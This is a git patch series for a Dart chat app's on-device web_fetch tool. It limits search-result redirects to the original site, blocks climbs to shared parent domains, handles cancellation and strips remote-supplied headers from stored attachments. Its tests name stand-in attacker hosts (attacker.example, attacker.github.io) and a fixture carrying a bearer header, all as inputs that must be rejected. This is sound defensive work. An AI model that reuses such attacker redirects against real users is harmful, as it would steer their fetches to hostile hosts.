b/packages/conduit_core/lib/features/web_search/services/on_device_web_tools.dart @@ -72,7 +72,9 @@ final class OnDeviceWebToolSession { _clock = clock ?? DateTime.now { for (final url in userProvidedUrls) { try { - _fetchableUrls.add(normalizePublicWebUrl(url)); + final normalized = normalizePublicWebUrl(url); + _fetchableUrls.add(normalized); + _userUrls.add(normalized); } on FormatException { // Local or malformed links in the user's message stay unfetchable. } @@ -85,6 +87,10 @@ final class OnDeviceWebToolSession { final DateTime Function() _clock; final Set _fetchableUrls = {}; + /// Links the user wrote. Unlike search results, these may redirect to + /// another site: the user chose them. + final Set _userUrls = {}; + final WebSearchEngineChoice engine; final SearchRegion region; final SafeSearch safeSearch; @@ -231,6 +237,9 @@ final class OnDeviceWebToolSession { Uri.parse(url), acceptLanguage: region.acceptLanguage, cancel: _cancel, + // A search result may only redirect within its own site, so a result + // can't hand the fetch to an unrelated host. + allowRedirect: _userUrls.contains(url) ? null : isSameSiteRedirect, ); final extracted = extractReadableText(page); final truncated = @@ -269,6 +278,20 @@ final class OnDeviceWebToolSession { } } +/// Whether a redirect stays on the same site: the same host, its `www` +/// twin, or a subdomain in either direction (`http→https` and path changes +/// are fine). +bool isSameSiteRedirect(Uri from, Uri to) { + String bare(Uri uri) { + final host = uri.host.toLowerCase(); + return host.startsWith('www.') ? host.substring(4) : host; + } + + final a = bare(from); + final b = bare(to); + return a == b || a.endsWith('.$b') || b.endsWith('.$a'); +} + /// `http(s)` links in [text], e.g. the user's message, for the fetch /// allow-list. Trailing punctuation is dropped, except a closing bracket /// that the URL itself opened (`…/wiki/Dart_(programming_language)`). diff --git a/packages/conduit_core/lib/features/web_search/services/web_page_fetcher.dart b/packages/conduit_core/lib/features/web_search/services/web_page_fetcher.dart index db23ca89d..39f303655 100644 --- a/packages/conduit_core/lib/features/web_search/services/web_page_fetcher.dart +++ b/packages/conduit_core/lib/features/web_search/services/web_page_fetcher.dart @@ -40,6 +40,9 @@ final class FetchedWebPage { typedef HostLookup = Future> Function(String host); +/// Decides whether a fetch may follow a redirect from [from] to [to]. +typedef RedirectPolicy = bool Function(Uri from, Uri to); + /// Fetches public web pages from the device for the `web_fetch` tool. /// /// The device can usually reach the user's LAN, so every connection is @@ -79,18 +82,22 @@ class WebPageFetcher { /// /// Throws [WebFetchException] for any failure, and completes with a /// [WebFetchException] when [cancel] fires first. + /// + /// Every redirect hop must pass [allowRedirect] (default: any public URL). Future fetch( Uri url, { String? acceptLanguage, Future? cancel, + RedirectPolicy? allowRedirect, }) async { + var stopped = false; final client = HttpClient() ..findProxy = ((_) => 'DIRECT') - ..connectionFactory = _connect + ..connectionFactory = ((uri, proxyHost, proxyPort) => + _connect(uri, () => stopped)) ..connectionTimeout = connectTimeout ..autoUncompress = true ..userAgent = userAgent; - var stopped = false; final stopSignal = Completer(); void stop() { if (stopped) return; @@ -105,7 +112,13 @@ class WebPageFetcher { final timer = Timer(timeout, stop); unawaited(cancel?.then((_) => stop())); - final work = _fetchWith(client, url, acceptLanguage, () => stopped); + final work = _fetchWith( + client, + url, + acceptLanguage, + allowRedirect, + () => stopped, + ); work.ignore(); stopSignal.future.ignore(); @@ -124,6 +137,7 @@ class WebPageFetcher { HttpClient client, Uri url, String? acceptLanguage, + RedirectPolicy? allowRedirect, bool Function() stopped, ) async { try { @@ -145,9 +159,16 @@ class WebPageFetcher { if (location == null || hop >= maxRedirects) { throw const WebFetchException('The page redirected too often.'); } - current = Uri.parse( + final next = Uri.parse( normalizePublicWebUrl(current.resolve(location).toString()), ); + if (allowRedirect != null && !allowRedirect(current, next)) { + throw WebFetchException( + 'The page redirects to ${next.host}, another site, which ' + 'web_fetch does not follow.', + ); + } + current = next; continue; } if (response.statusCode != HttpStatus.ok) { @@ -188,13 +209,13 @@ class WebPageFetcher { Future> _connect( Uri url, - String? proxyHost, - int? proxyPort, + bool Function() stopped, ) async { final host = url.host; final port = url.hasPort ? url.port : (url.scheme == 'https' ? 443 : 80); final addresses = await _vettedAddresses(host); - final socket = _connectAny(addresses, port).then( + if (stopped()) throw const SocketException('Fetch stopped'); + final socket = _connectAny(addresses, port, stopped).then( (socket) => url.scheme == 'https' ? SecureSocket.secure(socket, host: host) : socket, @@ -216,12 +237,28 @@ class WebPageFetcher { return addresses; } - Future _connectAny(List addresses, int port) async { + Future _connectAny( + List addresses, + int port, + bool Function() stopped, + ) async { Object? lastError; for (final address in addresses.take(4)) { + if (stopped()) throw const SocketException('Fetch stopped'); try { - return await Socket.connect(address, port, timeout: connectTimeout); + final socket = await Socket.connect( + address, + port, + timeout: connectTimeout, + ); + // A socket that lands after the fetch stopped is nobody's. + if (stopped()) { + socket.destroy(); + throw const SocketException('Fetch stopped'); + } + return socket; } on SocketException catch (error) { + if (stopped()) rethrow; lastError = error; } } diff --git a/packages/conduit_core/lib/services/conversation_parsing.dart b/packages/conduit_core/lib/services/conversation_parsing.dart index 0289fe762..0c299d522 100644 --- a/packages/conduit_core/lib/services/conversation_parsing.dart +++ b/packages/conduit_core/lib/services/conversation_parsing.dart @@ -755,13 +755,29 @@ Map _parseOpenWebUIMessageToJson( 'versions': >[ if (msgData['versions'] case final List stored) for (final version in stored) - if (version is Map) _coerceJsonMap(version), + if (version is Map) _storedVersion(version), ], if (outputItems.isNotEmpty) 'output': outputItems, 'error': ?errorData, }; } +/// A version stored on the message itself. Its files go through the same +/// sanitizer as every other message, so a stored attachment can't carry +/// remote-supplied request headers to its image fetch. +Map _storedVersion(Map raw) { + final version = _coerceJsonMap(raw); + if (version.containsKey('files')) { + final files = _parseOpenWebUiFiles(version['files']).files; + if (files == null) { + version.remove('files'); + } else { + version['files'] = files; + } + } + return version; +} + /// Resolves the live-stream flag against the completion marker. /// /// `done` is Open WebUI's completion marker and `isStreaming` is Conduit's diff --git a/packages/conduit_core/test/features/web_search/on_device_web_tools_test.dart b/packages/conduit_core/test/features/web_search/on_device_web_tools_test.dart index 9311fa205..abb42f124 100644 --- a/packages/conduit_core/test/features/web_search/on_device_web_tools_test.dart +++ b/packages/conduit_core/test/features/web_search/on_device_web_tools_test.dart @@ -36,14 +36,17 @@ final class _StubEngine extends SearchEngine { final class _RecordingFetcher extends WebPageFetcher { final List fetched = []; + final List redirectPolicies = []; @override Future fetch( Uri url, { String? acceptLanguage, Future? cancel, + RedirectPolicy? allowRedirect, }) async { fetched.add(url); + redirectPolicies.add(allowRedirect); return FetchedWebPage( url: url, contentType: 'text/html', @@ -147,6 +150,35 @@ void main() { }); expect(userLink.isError, isFalse); expect(fetcher.fetched, [Uri.parse('https://docs.example.com/guide')]); + // The user chose this link, so it may redirect anywhere public. + expect(fetcher.redirectPolicies.single, isNull); + }); + + test('a search result may only redirect within its own site', () async { + final fetcher = _RecordingFetcher(); + final session = _session( + search: _ddgs([('Dart', 'https://dart.dev/')]), + fetcher: fetcher, + ); + await session.execute(kWebSearchToolName, {'query': 'dart'}); + await session.execute(kWebFetchToolName, {'url': 'https://dart.dev/'}); + + final allowRedirect = fetcher.redirectPolicies.single!; + final from = Uri.parse('https://dart.dev/'); + for (final to in [ + 'http://dart.dev/docs', + 'https://www.dart.dev/', + 'https://api.dart.dev/stable', + ]) { + expect(allowRedirect(from, Uri.parse(to)), isTrue, reason: to); + } + for (final to in [ + 'https://attacker.example/?q=1', + 'https://notdart.dev/', + 'https://dart.dev.attacker.example/', + ]) { + expect(allowRedirect(from, Uri.parse(to)), isFalse, reason: to); + } }); test('links the user wrote are read as written', () { diff --git a/packages/conduit_core/test/services/conversation_parsing_test.dart b/packages/conduit_core/test/services/conversation_parsing_test.dart index d17b0ae6f..3cd8d4482 100644 --- a/packages/conduit_core/test/services/conversation_parsing_test.dart +++ b/packages/conduit_core/test/services/conversation_parsing_test.dart @@ -534,7 +534,18 @@ void main() { 'content': 'Latest answer', 'parentId': 'user-1', 'timestamp': 1700000001, - 'versions': [earlier.toJson()], + 'versions': [ + { + ...earlier.toJson(), + 'files': [ + { + 'type': 'image', + 'url': 'https://images.example.com/a.png', + 'headers': {'Authorization': 'Bearer remote'}, + }, + ], + }, + ], }, }, }, @@ -544,6 +555,10 @@ void main() { final versions = conversation.messages.last.versions; check(versions).length.equals(1); check(versions.single.content).equals('Earlier answer'); + // Stored files are sanitized like every other message's. + final file = versions.single.files!.single; + check(file['url']).equals('https://images.example.com/a.png'); + check(file.containsKey('headers')).isFalse(); }); test('follows parent chain from currentId', () { diff --git a/test/core/providers/web_search_availability_test.dart b/test/core/providers/web_search_availability_test.dart index 298ca0a6e..3d9298817 100644 --- a/test/core/providers/web_search_availability_test.dart +++ b/test/core/providers/web_search_availability_test.dart @@ -329,6 +329,32 @@ void main() { check(container.read(webSearchAvailableProvider)).isTrue(); }); + test('Apple models offer on-device search despite their parameter list', () { + // Apple advertises sampling parameters only, but its adapter runs tools. + final registry = DirectModelRegistry(); + final model = registry.replaceProfileModels( + DirectConnectionProfile.applePrivateCloudCompute(), + [ + DirectRemoteModel( + id: kApplePccRemoteModelId, + name: 'Apple Private Cloud Compute', + capabilities: const { + 'supported_parameters': ['temperature', 'max_tokens'], + }, + ), + ], + ).single; + final container = _container( + const AsyncData>({}), + selectedModel: model, + directModelRegistry: registry, + ); + addTearDown(container.dispose); + + check(container.read(selectedDirectWebSearchModeProvider)) + .equals(DirectWebSearchMode.onDevice); + }); + test( 'a direct model that reports no tool support hides web search', () async { From 48219b385ea8f95825d5596cd53d183d760e3827 Mon Sep 17 00:00:00 2001 From: cogwheel Date: Tue, 29 Sep 2026 13:55:44 +0530 Subject: [PATCH 8/9] Keep search-result redirects on the original site Redirect hops were compared pairwise and could climb to a parent domain, so victim.github.io could reach attacker.github.io by way of github.io. Every hop is now judged against the original result and may only stay on its host, www twin or subdomains. --- .../services/on_device_web_tools.dart | 23 +++++++++++-------- .../web_search/on_device_web_tools_test.dart | 18 +++++++++++++++ 2 files changed, 32 insertions(+), 9 deletions(-) diff --git a/packages/conduit_core/lib/features/web_search/services/on_device_web_tools.dart b/packages/conduit_core/lib/features/web_search/services/on_device_web_tools.dart index 1f13e01a1..e7d38c95b 100644 --- a/packages/conduit_core/lib/features/web_search/services/on_device_web_tools.dart +++ b/packages/conduit_core/lib/features/web_search/services/on_device_web_tools.dart @@ -238,8 +238,12 @@ final class OnDeviceWebToolSession { acceptLanguage: region.acceptLanguage, cancel: _cancel, // A search result may only redirect within its own site, so a result - // can't hand the fetch to an unrelated host. - allowRedirect: _userUrls.contains(url) ? null : isSameSiteRedirect, + // can't hand the fetch to an unrelated host. Every hop is judged + // against the result itself, so hops can't chain across a shared + // parent domain. + allowRedirect: _userUrls.contains(url) + ? null + : (_, to) => isSameSiteRedirect(Uri.parse(url), to), ); final extracted = extractReadableText(page); final truncated = @@ -278,18 +282,19 @@ final class OnDeviceWebToolSession { } } -/// Whether a redirect stays on the same site: the same host, its `www` -/// twin, or a subdomain in either direction (`http→https` and path changes -/// are fine). -bool isSameSiteRedirect(Uri from, Uri to) { +/// Whether a redirect from [origin] stays on its site: the same host, its +/// `www` twin, or one of its subdomains (`http→https` and path changes are +/// fine). Never a parent domain: `victim.github.io` must not reach +/// `github.io`, whose other subdomains belong to other people. +bool isSameSiteRedirect(Uri origin, Uri to) { String bare(Uri uri) { final host = uri.host.toLowerCase(); return host.startsWith('www.') ? host.substring(4) : host; } - final a = bare(from); - final b = bare(to); - return a == b || a.endsWith('.$b') || b.endsWith('.$a'); + final site = bare(origin); + final target = bare(to); + return target == site || target.endsWith('.$site'); } /// `http(s)` links in [text], e.g. the user's message, for the fetch diff --git a/packages/conduit_core/test/features/web_search/on_device_web_tools_test.dart b/packages/conduit_core/test/features/web_search/on_device_web_tools_test.dart index abb42f124..f0734e06c 100644 --- a/packages/conduit_core/test/features/web_search/on_device_web_tools_test.dart +++ b/packages/conduit_core/test/features/web_search/on_device_web_tools_test.dart @@ -181,6 +181,24 @@ void main() { } }); + test('a redirect never climbs to a shared parent domain', () { + // Hops are judged against the original result, so victim.github.io + // can't reach attacker.github.io by way of github.io. + final origin = Uri.parse('https://victim.github.io/page'); + expect( + isSameSiteRedirect(origin, Uri.parse('https://github.io/')), + isFalse, + ); + expect( + isSameSiteRedirect(origin, Uri.parse('https://attacker.github.io/')), + isFalse, + ); + expect( + isSameSiteRedirect(origin, Uri.parse('https://docs.victim.github.io/')), + isTrue, + ); + }); + test('links the user wrote are read as written', () { expect( extractWebUrls( From 0131c4fe4bbcc4204ce77d5cf664ff0ff3eea83c Mon Sep 17 00:00:00 2001 From: cogwheel Date: Tue, 29 Sep 2026 14:05:21 +0530 Subject: [PATCH 9/9] Let mobile aliases redirect to their canonical site A search result on m., mobile. or amp. may redirect to its exact parent domain (m.example.com to example.com), a common canonical redirect. Other parent climbs stay refused, so shared hosting parents like github.io remain out of reach. --- .../services/on_device_web_tools.dart | 16 +++++++++++++--- .../web_search/on_device_web_tools_test.dart | 17 +++++++++++++++++ 2 files changed, 30 insertions(+), 3 deletions(-) diff --git a/packages/conduit_core/lib/features/web_search/services/on_device_web_tools.dart b/packages/conduit_core/lib/features/web_search/services/on_device_web_tools.dart index e7d38c95b..cf9a99007 100644 --- a/packages/conduit_core/lib/features/web_search/services/on_device_web_tools.dart +++ b/packages/conduit_core/lib/features/web_search/services/on_device_web_tools.dart @@ -284,8 +284,12 @@ final class OnDeviceWebToolSession { /// Whether a redirect from [origin] stays on its site: the same host, its /// `www` twin, or one of its subdomains (`http→https` and path changes are -/// fine). Never a parent domain: `victim.github.io` must not reach -/// `github.io`, whose other subdomains belong to other people. +/// fine). +/// +/// A parent domain is off limits (`victim.github.io` must not reach +/// `github.io`, whose other subdomains belong to other people), except the +/// canonical redirect from a mobile or AMP alias (`m.example.com` to +/// `example.com`), and then only to that exact parent. bool isSameSiteRedirect(Uri origin, Uri to) { String bare(Uri uri) { final host = uri.host.toLowerCase(); @@ -294,9 +298,15 @@ bool isSameSiteRedirect(Uri origin, Uri to) { final site = bare(origin); final target = bare(to); - return target == site || target.endsWith('.$site'); + if (target == site || target.endsWith('.$site')) return true; + final dot = site.indexOf('.'); + return dot > 0 && + _canonicalAliasLabels.contains(site.substring(0, dot)) && + target == site.substring(dot + 1); } +const Set _canonicalAliasLabels = {'m', 'mobile', 'amp'}; + /// `http(s)` links in [text], e.g. the user's message, for the fetch /// allow-list. Trailing punctuation is dropped, except a closing bracket /// that the URL itself opened (`…/wiki/Dart_(programming_language)`). diff --git a/packages/conduit_core/test/features/web_search/on_device_web_tools_test.dart b/packages/conduit_core/test/features/web_search/on_device_web_tools_test.dart index f0734e06c..2106207b1 100644 --- a/packages/conduit_core/test/features/web_search/on_device_web_tools_test.dart +++ b/packages/conduit_core/test/features/web_search/on_device_web_tools_test.dart @@ -199,6 +199,23 @@ void main() { ); }); + test('a mobile alias may redirect to its canonical parent only', () { + final mobile = Uri.parse('https://m.example.com/article'); + expect( + isSameSiteRedirect(mobile, Uri.parse('https://example.com/article')), + isTrue, + ); + expect( + isSameSiteRedirect(mobile, Uri.parse('https://www.example.com/a')), + isTrue, + ); + // Only the exact parent, never its other subdomains. + expect( + isSameSiteRedirect(mobile, Uri.parse('https://other.example.com/')), + isFalse, + ); + }); + test('links the user wrote are read as written', () { expect( extractWebUrls(